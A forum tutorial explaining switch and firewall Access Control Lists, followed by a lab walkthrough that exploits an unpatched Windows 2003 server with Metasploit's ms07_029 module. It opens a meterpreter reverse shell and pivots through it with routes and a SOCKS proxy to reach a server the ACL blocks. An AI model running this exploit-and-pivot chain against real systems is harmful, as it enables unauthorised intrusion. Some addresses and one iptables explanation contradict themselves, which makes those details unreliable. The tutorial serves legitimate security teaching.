Network Security: Access Control Lists and Metasploit pivoting

[RedBullAddicted]

Hi all,

I thought it is time again to write a little tutorial about networking, security features that can be implemented and how to get pass them. I haven't had enough time the last month cause I was focused on learning python. Now I'll take a break to write a new tutorial based on Access Control Lists, how to test them and how to get through them with metasploits pivoting feature.

Contents
- Resources used for this tutorial
- Stuff I used for testing
- Basic concepts of ACLs
- static and dynamic ACLs
- Three different types of ACLs
- Elements of an ACL
- Standard and extended ACLs
- Examples and Additional Information
- Where can ACLs be found
- The lab setup

1. Resources used for this tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- various other websites
- Metasploit Tutorials I found on the web
 
2. Stuff I used for testing
- HP ProCurve 2910
- three notebooks/vms (1x Windows 2003 File Server, 1x Another Windows 2003 File Server, 1x Attacker: Backtrack 5R3)

3. Basic concepts of ACLs
Access Control lists can help to improve network performance and restrict network use. An ACL specifies criteria the switch uses to either permit (forward) or deny (drop) IP packets traversing a switch interface.
- Criteria may include Layer 3 and Layer 4
- Can filter IP traffic to or from a host, a group of hosts, or entire subnets

An ACL consists of one or more ACEs (Access Control Entries)
- Each ACE defines the criteria, traffic direction and action taken

An ACL can be assigned to a port (port-based ACLs) or a VLAN interface (vlan ACL - VACL or routed ACL - RACL). A typical approach is to determine specific conditions under which you want to allow traffic to pass and then define the ACEs that expressly deny traffic.

After layout of the VLANs has been planned, ACLs can be used to determine the types and destinations of traffic to be allowed. ACLs provide an effective mechanism for filtering traffic. Without the application of traffic filters, each routing switch interface accepts packets from attached hosts and forwards the traffic based on its forwarding tables. However, there may be situations where you do not want all traffic to be forwarded, such as for security or traffic efficiency purposes.

Short info about ACLs and network design
ACLs can be useful at both the network edge as well as the network core and distribution levels.

- At the network edge, ACLs can be useful for preventing unwanted or unnecessary IP packets from entering the network infrastructure. Implementing ACLs at the network edge can help improve network performance by reducing the volume of packets that are handled by upstream switches and routers which also helps reduce system resource usage in the form of buffers and CPU utilization.

- Implementing ACLs in the network core and distribution levels can be useful for security and performance purposes. ACLs can be used to ensure various collections of clients only have access to selected destinations. These destinations may be specific, hosts, entire subnets, or even particular applications. For security purposes, you may want to ensure communications are restricted, for instance, that all hosts and servers in a given VLAN are only allowed to communicate within that VLAN or with a limited number of other specific VLANs.

4. Static and Dynamic ACLs (on switches)
Some switches provide the ability to assign Access Control Lists in two different ways (static and dynamic)

Static ACLs
Using static ACLs implies that you are configuring ACLs on the switch and storing them in the switch configuration file. Once a static ACL is applied to a physical port or a VLAN interface, the ACL is “fixed” until you later modify or remove it.

Dynamic ACLs
Using dynamic ACLs involves configuring them on an external system such as a RADIUS server. A dynamic ACL can only be applied to a physical port and its application to a port is triggered dynamically based on the successful authentication of a client. The application of this type of ACL is temporary. That is, the ACL is active for the duration of the client's session. When the client's session ends, the ACL is removed from the port.

5. Three different types of ACLs
As mentioned above there a three different types of implementing an Access Control List on a switch
note: not every switch provides the possibility to create all three types.

Routed ACL (RACL)
- Filters routed IP traffic entering or leaving a static VLAN
- Also filters inbound/outbound traffic to and from the switch itself

VLAN ACL (VACL)
- Filters switched IP traffic entering a static VLAN (destination for same VLAN)

Port-based ACL
- Filters IP traffic entering a physical port or port list
- Traffic may be routed or switched
- Also filters inbound traffic destined for the switch itself

6. Elements of an ACL
Implementing an ACL requires that you first define at least one ACE consisting of the following:

ACL identifier
- Number or an alphanumeric name that identifies a collection of ACEs
- All of the ACEs of an ACL applied to traffic traversing a port or VLAN interface have a common ACL ID

Criteria
- For example source and/or destination IP address that identifies the traffic of interest

Direction
- Inbound or Outbound

Action
- Permit or deny

7. Standard and Extended ACLs
Some switch manufacturers allow the user to implement ACLs with different functionality called standard and extended

Standard
- Supports specification of source IP address criterion only
- ACL ID between 1 and 199

Extended
- Supports additional Layer 3 and Layer 4 packet header criteria (Range of source and destination IP addresses, range of TCP or UDP source or destination ports, ICMP and IGMP message types, IP Precedence or Type of Service (ToS, DiffServices))
- ACL ID is between 100 and 199
- Dynamic port ACLs only use the extended type

Standard and extended ACLs can also use names for ACL IDs
- Can be more convenient to work with when configuring and applying
- Enables more than 199 ACLs to be defined

8. Examples and Additional Information
For an ACL mask, you specify a "0" for significant bit positions, those that must match

Example 1: You want to specifiy all addresses in the range 10.1.10.0 - 10.1.10.255 which have a common value in the first 24 bits

10.1.10.0	Binary:	00001010 00000001 00001010 00000000
10.1.10.255	Binary:	00001010 00000001 00001010 11111111
ACL mask:	Binary:	00000000 00000000 00000000 11111111 <- last 8 bits are not significant

This range can be defined in an ACL as: 10.1.10.0 0.0.0.255 or 10.1.10.0/24

Example 2: You want to specify all addresses in the range: 10.1.32.0 - 10.1.47.255 which have a common value in the first 20 bits

10.1.32.0	Binary:	00001010 00000001 00100000 00000000
10.1.47.255	Binary:	00001010 00000001 00101111 11111111
ACL mask:	Binary:	00000000 00000000 00001111 11111111 <- last 12 bits are not significant

This range can be defined in a ACL as: 10.1.32.0 0.0.15.255 or 10.1.32.0/20

Define standard ACL (procurve)
Configuring a named, standard ACL involves:
- First accessing the "named ACL" (nacl) using the ip access-list command
- Then, the criteria is specified to define each Access Control Entry

Code: [Select]

hpswitch(config)# ip access-list standard "deny-host1"
hpswitch(config-std-nacl)# deny host 10.1.10.15 0.0.0.0
Define extended ACL (procurve)

Code: [Select]

hpswitch(config)# ip access-list extended "somename_acl"
hpswitch(config-ext-nacl)# 10 permit tcp 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0 eq 80
hpswitch(config-ext-nacl)# 20 deny ip 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0This ACL would allow 10.1.10.15/32 to access 10.1.11.15 on tcp/80 and denies anything else

Assign an ACL to a port or VLAN (procurve)
Assign ACL to a port

Code: [Select]

hpswitch(config)# interface 1
hpswitch(eth-1)# ip access-group deny-host1 in or out
Assign ACL to a vlan

Code: [Select]

hpswitch(config)# vlan 5
hpswitch(VLAN5)# ip access-group somename_acl in or out
9. Where can ACLs be found
Access Control Lists are widely used and can be found in any type of firewall, a Cisco ASA for example has ACLs that look like:

Code: [Select]

access-list inside_access_in extended permit tcp host Host1 host Host2 object-group DM_INLINE_22 log warningsThis rule would permit ssh access to Host2 from Host1 and would log all warnings.
The equivalent ip tables rule looks similiar to this (without logging):

Code: [Select]

iptables -N blockssh
iptables -A blockssh -p tcp -d 192.168.1.1/32 --dport 22 -j DROP
iptables -A FORWARD -i -j blocksshThis rule allows ssh access to a server with the ip address 192.168.1.1

Enough for the theoretical part. Let's start with fun part and have a look at the lab setup

10. The lab setup



The ACL

Code: [Select]

hpswitch(config)# ip access-list extended "FileServerAccess"
hpswitch(config-ext-acl)# 10 permit ip 10.10.0.0 0.0.0.255 10.10.1.10 0.0.0.0
hpswitch(config-ext-acl)# 20 deny ip 10.10.0.0 0.0.0.255 10.10.1.0 0.0.0.255
hpswitch(config-ext-acl)# vlan 10
hpswitch(VLAN10)# ip access-group "FileServerAccess" in
What type of ACL is it? standard or extended? VACL or RACL?

As you can see on the image the attacker laptop is located in VLAN 5 with a subnet of 10.10.0.0/24 and the servers are located at VLAN 10 with a subnet of 10.10.1.0/24. The given ACL is applied to VLAN 10 and regulates inbound access. The ACL allows connection to FileServer1 and denies anything else. With this ACL assigned FileServer2 is not reachable by the attacker laptop. To see if everything works as expected we can start nmap and scan the VLAN 10 subnet.

Code: [Select]

root@bt:~# nmap -sS 10.10.1.0/24
...
Nmap scan report for 10.10.1.10
PORT     STATE SERVICE
Host is up (0.00086s latency).
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1027/tcp open  IIS
1037/tcp open  ams
1040/tcp open  netsaint
1048/tcp open  neod2
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

MAC Address: 00:50:56:B9:31:4F (VMware)

Nmap done: 254 IP addresses (1 host up) scanned in 30.52 seconds
As you can see I installed some more services on the victim machines to keep it simple and there is only one host in the subnet 10.10.1.0/24 accessable. Btw. the victim is a completely unpatched Windows Server 2003 R2 which has a whole bunch of exploitable vulnerabilies. We will use a very old one that has been critical in 2007 (ms07-029).

1. Start Metasploit, select and configure ms07-029 and finally lunch it

Code: [Select]

msf > use exploit/windows/dcerpc/ms07_029_msdns_zonename
msf  exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms07_029_msdns_zonename) > set LHOST 10.10.0.10
LHOST => 192.168.171.134
msf  exploit(ms07_029_msdns_zonename) > set RHOST 10.10.1.10
RHOST => 10.10.1.11
msf  exploit(ms07_029_msdns_zonename) > set TARGET 10
TARGET => 10
msf  exploit(ms07_029_msdns_zonename) > show options

Module options (exploit/windows/dcerpc/ms07_029_msdns_zonename):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   Locale  English          yes       Locale for automatic target (English, French, Italian, ...)
   RHOST   10.10.1.10         yes       The target address
   RPORT   0                yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     10.10.0.10       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   10  Windows 2003 Server SP1-SP2 German


msf  exploit(ms07_029_msdns_zonename) > exploit
2. After the exploit execution has finished we get a meterpreter reverse tcp shell back.

Code: [Select]

[*] Started reverse handler on 192.168.171.134:4444
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1048
[*] Trying target Windows 2003 Server SP1-SP2 German...
[*] Binding to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Bound to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.10.1.11
[*] Meterpreter session 1 opened (192.168.171.134:4444 -> 10.10.1.11:1388) at 2012-09-28 14:36:47 -0400
[-] Error: no response from dcerpc service

meterpreter >
3. First we take a look at the process our meterpreter session is running with
 

Code: [Select]

meterpreter > getpid
Current pid: 1364
meterpreter > ps
...
1364  388   dns.exe            x86   0           $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d                          C:\WINDOWS\System32\dns.exe
...we are already running in a process which shouldn't be suspect so we dont need to migrate to another process and we already have System Authority rights meaning we dont need to try to get it (getsystem)

Code: [Select]

Command       Description
-------       -----------
getsystem     Attempt to elevate your privilege to that of local system.
migrate       Migrate the server to another process
Dont want to make this a meterpreter tutorial so I will only focus on the configuration of pivoting

4. Next we take a look at the subnet and then we scan it.

Code: [Select]

meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 65539
============
Name         : Intel(R) PRO/1000 MT-Netzwerkverbindung
Hardware MAC : 00:50:56:B9:31:4F
MTU          : 1500
IPv4 Address : 10.10.1.10
IPv4 Netmask : 255.255.255.0

meterpreter > run netenum -ps -r 192.168.171.0/24
[*] Network Enumerator Meterpreter Script
[*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.10.1.11
[*] Performing ping sweep for IP range 192.168.171.0/24
[*]     10.10.1.11 host found
I guess this is all the needed information for now.

5. Lets put our meterpreter session to the background and create a new route to the unreachable second server with
the meterpreter session ID as argument and test it.

Code: [Select]

meterpreter > background
[*] Backgrounding session 1...
msf  exploit(ms07_029_msdns_zonename) > back
msf > sessions

Active sessions
===============

  Id  Type                   Information                                                                   Connection
  --  ----                   -----------                                                                   ----------
  1   meterpreter x86/win32  $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d @ W2K3ENTSP2DC  10.10.0.10:4444 -> 10.10.1.10:1388 (10.10.1.10)

msf > route add 10.10.1.11 10.10.1.10 1
[*] Route added

msf > ping 10.10.1.11
[*] exec: ping 10.10.1.11

PING 10.10.1.11 (10.10.1.11) 56(84) bytes of data.
64 bytes from 10.10.1.11: icmp_seq=1 ttl=128 time=0.922 ms
64 bytes from 10.10.1.11: icmp_seq=2 ttl=128 time=1.10 ms
64 bytes from 10.10.1.11: icmp_seq=3 ttl=128 time=1.27 ms
^CInterrupt: use the 'exit' command to quit

msf > use scanner/portscan/tcp
msf  auxiliary(tcp) > set RHOSTS 10.10.1.11
RHOSTS => 10.10.1.11
msf  auxiliary(tcp) > set THREADS 30
THREADS => 30
msf  auxiliary(tcp) > run

[*] 10.10.1.11:53 - TCP OPEN
[*] 10.10.1.11:88 - TCP OPEN
[*] 10.10.1.11:135 - TCP OPEN
[*] 10.10.1.11:139 - TCP OPEN
[*] 10.10.1.11:389 - TCP OPEN
[*] 10.10.1.11:445 - TCP OPEN
[*] 10.10.1.11:464 - TCP OPEN
[*] 10.10.1.11:593 - TCP OPEN
[*] 10.10.1.11:636 - TCP OPEN
[*] 10.10.1.11:1025 - TCP OPEN
[*] 10.10.1.11:1027 - TCP OPEN
[*] 10.10.1.11:1040 - TCP OPEN
[*] 10.10.1.11:1037 - TCP OPEN
[*] 10.10.1.11:1048 - TCP OPEN
[*] 10.10.1.11:3268 - TCP OPEN
[*] 10.10.1.11:3269 - TCP OPEN
[*] Auxiliary module execution completed
You may have recognized that the second server is identical with the first one. This means we now could exploit it with the same attack. So I don't make the tutorial too long I'll leave that part out and this would actually be the end of this tutorial but I want to show one additional nice possibility you can do with pivoting. I showed how you can
use metasploit modules against an unreachable machine with the pivoting feature but how about using other tools through that connection? Here we go.

Use the proxy module to create a proxy within metasploit, set the proxy with proxychains and nmap scan the former
unreachable second server

Code: [Select]

msf  auxiliary(tcp) > use auxiliary/server/socks4a
msf  auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

msf  auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

root@bt:~# nano /etc/proxychains.conf
...
socks4  127.0.0.1 1080
...

root@bt:~# proxychains nmap -sS 10.10.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
[S-chain]-<>-127.0.0.1:1080-<><>-10.10.1.11-<><>-OK
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-28 16:25 EDT
Nmap scan report for 10.10.1.11
Host is up (0.00031s latency).
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
...
Ok, thats all folks.. hope you enjoyed reading it as much as I enjoyed writing it.

Edit: Nearly forgot to thank Daemon for proofreading again. Thanks Daemon

[Daemon]

What part of that was little.... lol but good stuff as usual RBA, thank you for writing this up

[relax]

wow...

I dident have the time to read it all now but thats a long tutorial and it seems to cover a lot.
I will def read it tonight
thank for tanking the time to write this +1